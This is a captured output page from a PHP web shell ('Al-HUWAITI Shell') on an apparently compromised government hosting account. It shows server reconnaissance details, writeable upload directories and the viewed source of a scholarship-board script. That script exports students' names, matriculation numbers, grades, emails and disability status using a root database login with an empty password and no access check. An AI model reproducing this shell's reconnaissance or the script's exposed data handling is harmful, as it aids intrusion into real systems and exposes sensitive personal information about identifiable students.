Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux 122.228.205.92.host.secureserver.net 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : ondostategov ( 1002)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/ondostategov/public_html/scholarshipboardondostate/ossms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/ondostategov/public_html/scholarshipboardondostate/ossms/export_disability.php
<?php
session_start();
$any_disability= "YES";
$remark = '1';
//echo $any_disability;
 
 
 //$any_disability= $_GET['any_disability'];
//$completed = '1';
  /***** EDIT BELOW LINES *****/
  $DB_Server = "localhost"; // mysqli Server
  $DB_Username = "root"; // mysqli Username
  $DB_Password = ""; // mysqli Password
  $DB_DBName = "ossb"; // mysqli Database Name
  $DB_TBLName = "scholarship"; // mysqli Table Name
  $xls_filename = 'export_'.date('Y-m-d').'.xls'; // Define Excel (.xls) file name
   
  /***** DO NOT EDIT BELOW LINES *****/
  // Create mysqli connection
  $sql = "Select surname, firstname, middle_name, mat_no, current_cgpa, email, any_disability from $DB_TBLName WHERE any_disability = '$any_disability' and remark = '$remark'";
  //$sql = "Select * from $DB_TBLName";
  $Connect = @mysqli_connect($DB_Server, $DB_Username, $DB_Password) or die("Failed to connect to mysqli:<br />" . mysqli_error($Connect) . "<br />" . mysqli_errno($Connect));
  
  
 
  // Select database
  $Db = @mysqli_select_db($Connect,$DB_DBName) or die("Failed to select database:<br />" . mysqli_error($Connect). "<br />" . mysqli_errno($Connect));
  // Execute query
  $result = @mysqli_query($Connect,$sql) or die("Failed to execute query:<br />" . mysqli_error($Connect). "<br />" . mysqli_errno($Connect));
   
  // Header info settings
  header("Content-Type: application/xls");
  header("Content-Disposition: attachment; filename=$xls_filename");
  header("Pragma: no-cache");
  header("Expires: 0");
   
  /***** Start of Formatting for Excel *****/
  // Define separator (defines columns in excel &amp; tabs in word)
  $sep = "\t"; // tabbed character
   
  // Start of printing column names as names of mysqli fields
  for ($i = 0; $i<mysqli_num_fields($result); $i++) {
    while($fieldinfo = mysqli_fetch_field($result)){
		echo $fieldinfo->name . "\t";
  	}
  }
  print("\n");
  // End of printing column names
   
  // Start while loop to get data
  while($row = mysqli_fetch_row($result))
  {
    $schema_insert = "";
    for($j=0; $j<mysqli_num_fields($result); $j++)
    {
      if(!isset($row[$j])) {
        $schema_insert .= "NULL".$sep;
      }
      elseif ($row[$j] != "") {
        $schema_insert .= "$row[$j]".$sep;
      }
      else {
        $schema_insert .= "".$sep;
      }
    }
    $schema_insert = str_replace($sep."$", "", $schema_insert);
    $schema_insert = preg_replace("/\r\n|\n\r|\n|\r/", " ", $schema_insert);
    $schema_insert .= "\t";
    print(trim($schema_insert));
    print "\n";
  }
?>

Al-HUWAITI Shell